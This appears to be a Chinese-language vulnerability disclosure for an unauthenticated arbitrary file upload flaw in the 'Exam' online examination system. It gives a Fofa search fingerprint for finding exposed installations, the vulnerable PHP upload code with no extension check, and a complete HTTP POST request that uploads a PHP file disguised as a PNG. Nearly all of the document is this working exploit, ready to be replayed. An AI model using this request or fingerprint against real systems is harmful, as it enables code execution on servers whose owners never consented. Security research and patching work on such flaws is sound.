Exam在线考试系统存在前台任意文件上传漏洞

Fofa:"app/core/styles/js/jquery.min.js"

  //上传文件  public function uploadFile($file,$updir,$sExtension = NULL,$name = NULL){    if(!$sExtension)$sExtension = $this->getFileExtName($file['name']);    if(!$name)$name = time().rand(1000,9999);    if(!file_exists($updir))$this->mdir($updir);    $url = $updir.$name.'.'.$sExtension;    if(file_exists($url))unlink($url);    move_uploaded_file( $file['tmp_name'], $url ) ;    if (file_exists($url))    {      $oldumask = umask(0) ;      chmod( $url, 0777 ) ;      umask( $oldumask ) ;    }    return $url;  }

  private function index(){    $path = 'files/attach/images/content/'.date('Ymd').'/';    $upfile = $this->ev->getFile('qqfile');    if($upfile)    $fileurl = $this->files->uploadFile($upfile,$path,NULL,NULL,$this->allowexts);    if($fileurl)    {      $args = array();      $args['attpath'] = $fileurl;      $args['atttitle'] = $upfile['name'];      $args['attext'] = $this->files->getFileExtName($upfile['name']);      $args['attsize'] = $upfile['size'];      $args['attuserid'] = $this->_user['sessionuserid'];      $args['attcntype'] = $upfile['type'];      $this->attach->addAttach($args);      if($this->ev->get('imgwidth') || $this->ev->get('imgheight'))      {        if($this->files->thumb($fileurl,$fileurl.'.png',$this->ev->get('imgwidth'),$this->ev->get('imgheight')))        $thumb = $fileurl.'.png';        else        $thumb = $fileurl;      }      else      $thumb = $fileurl;      exit(json_encode(array('success' => true,'thumb' => $thumb,'title' => $upfile['name'])));    }    else    {      exit(json_encode(array('status' => 'fail')));    }  }}

POST /index.php?document-api-fineuploader HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: max-age=0Connection: keep-aliveContent-Length: 198Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygfd0H3RWDeNNLaPyHost: 127.0.0.1Origin: http://127.0.0.1Referer: http://127.0.0.1/index.php?document-api-fineuploaderSec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-user: ?1------WebKitFormBoundarye776qKJKlcGtVlH5Content-Disposition: form-data; name="qqfile"; filename="1.php"Content-Type: image/png<?php phpinfo();?>------WebKitFormBoundarye776qKJKlcGtVlH5--